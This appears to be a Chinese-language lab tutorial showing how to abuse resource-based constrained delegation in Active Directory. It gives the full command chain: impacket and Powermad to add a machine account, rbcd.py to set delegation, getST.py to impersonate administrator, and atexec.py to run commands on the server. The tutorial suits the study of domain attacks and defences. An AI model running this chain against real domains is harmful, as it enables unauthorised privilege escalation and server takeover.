基于资源的约束委派

内网渗透

创建时间:2021-11-23 10:47

阅读:

配置用户对机器可写权限
将委派权限授予给机器账户
导出白银票据
注入票据执行命令

windows 2012 将这个委派交给了用户自己，只需要域用户对服务器具有GenericAll、GenericWrite、WriteProperty、WriteDacl等等权限，就可以设置这个属性，然后通过委派获取ST票据，注入获取服务器权限

环境：

DC : 192.168.43.100
受害机器(FILE-SERVER) ： 102.168.43.101
攻击机器 : 192.168.43.102
user : attackuser，对FILE-SERVER具有可写的权限

配置用户对机器可写权限

使用cmd输入 adsiedit.msc

找到file-server机器，在安全选项中添加指定用户和权限

使用PowerView查看用户对机器的权限

# 查看 SID
Get-DomainUser -Identity [userName] -Properties objectsid

# 查看写权限
Get-DomainObjectAcl -Identity [computerName] | ?{$_.SecurityIdentifier -match "SID"}

有了这个权限，就可以对服务器配置基于资源的约束委派了

#添加机器账户#

impacket

1 2	python .\addcomputer.py -computer-name dst01 -computer-pass supe r_hacker -dc-ip 192.168.43.100 hackme.com/attackuser:sher10ck.

成功添加机器账户，我们可以在域控制器中进行查看

Powermad

1 2	Import-Module .\Powermad.ps1 New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)

将委派权限授予给机器账户

1 2	python rbcd.py -dc-ip 192.168.43.100 -t file-server -f dst01 hackme.com\attackuser:sher1 0ck.

导出白银票据

1 2	python .\getST.py -spn cifs/file-server.hackme.com -impersonate administrator -dc-ip 192.168.43.100 hackme.com/dst01$

注入票据执行命令

1
2
3

set KRB5CCNAME=administrator.ccache
python atexec.py -no-pass -k
-dc-ip 192.168.43.100 administrator@file-server.hackme.com "whoami"

转载请注明来源，欢迎对文章中的引用来源进行考证，欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论，也可以邮件至 sher10cksec@foxmail.com